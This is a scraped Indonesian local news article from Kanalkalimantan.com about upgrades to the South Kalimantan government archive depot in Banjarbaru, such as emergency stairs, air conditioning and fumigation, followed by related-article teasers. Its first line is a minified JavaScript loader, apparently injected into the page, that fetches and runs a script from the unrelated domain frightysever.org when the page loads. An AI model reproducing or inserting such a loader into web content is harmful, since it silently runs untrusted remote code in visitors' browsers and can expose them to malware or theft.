(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Fasilitas dan sarana prasarana di Depo Arsip yang dikelola Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan sudah memenuhi standarisasi gedung penyimpanan arsip yang dikelola oleh pemerintah.
Kabid Pengelolaan Kearsipan Dispersip Kalsel Alfazi mengatakan, pihaknya sudah memenuhi sarana prasarana yang dipersyaratkan sesuai standarisasi lembaga Arsip Nasional RI.
“Kami sudah membangun tangga darurat yang difungsikan jika terjadi kondisi darurat sehingga arsip yang tersimpan di Depo Arsip bisa cepat diselamatkan,” ujar Alfazi di Banjarbaru, Minggu (13/9/2020).
Ia mengatakan, Depo Arsip Kalsel yang terletak di lingkungan Pemko Banjarbaru ini, berdasarkan hasil penilaian lembaga Arsip Nasional RI, belum memenuhi standar sebagai gedung penyimpanan arsip pemerintah.
Sehingga, menindaklanjuti penilaian itu, dibangun tangga darurat di sisi kiri dan kanan di luar gedung Depo Arsip menuju lantai dua, dan sisi kanan berupa luncuran tanpa anak tangga, dan sisi kiri dilengkapi anak tangga.
“Fungsi tangga darurat memudahkan mobilisasi arsip jika terjadi kebakaran atau musibah lain sehingga dokumen dan seluruh arsip bisa diselamatkan,” ucap Alfazi.
Selain tidak memiliki tangga darurat, Depo Arsip Kalsel juga belum memiliki peralatan pendeteksi asap. Namun alat khusus itu masih dalam proses pengadaan sehingga terpasang sebelum akhir tahun.
“Fasilitas lain AC pendingin ruangan standar 20 derajat celsius, dulu belum ada tetapi sekarang seluruh ruangan sudah dipasang AC. Kecuali peralatan pengukur suhu dan kelembaban dalam proses pengadaan,” lugasnya.
Alfajri menambahkan, perlengkapan lain yang sudah terpasang adalah kain gorden yang melindungi ruangan untuk mengurangi intensitas cahaya sehingga tidak merusak arsip maupun boks penyimpanan arsip.
Selain fasilitas dan sarana prasarana pendukung lainnya, gedung Depo Arsip juga dilakukan perawatan minimal 6 bulan sekali berupa penyemprotan cairan khusus atau fumigasi untuk mencegah kerusakan arsip.
Diketahui, Depo Arsip yang dikelola Dispersip Kalsel menyimpan 10 ribu lebih arsip dalam 6 ribu lebih boks yang berkaitan dengan pemerintahan di lingkungan Pemprov Kalsel baik arsip statis maupun inaktif. (Kanalkalimantan.com/fikri)
Reporter: Fikri
Editor: Cell
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
This website uses cookies.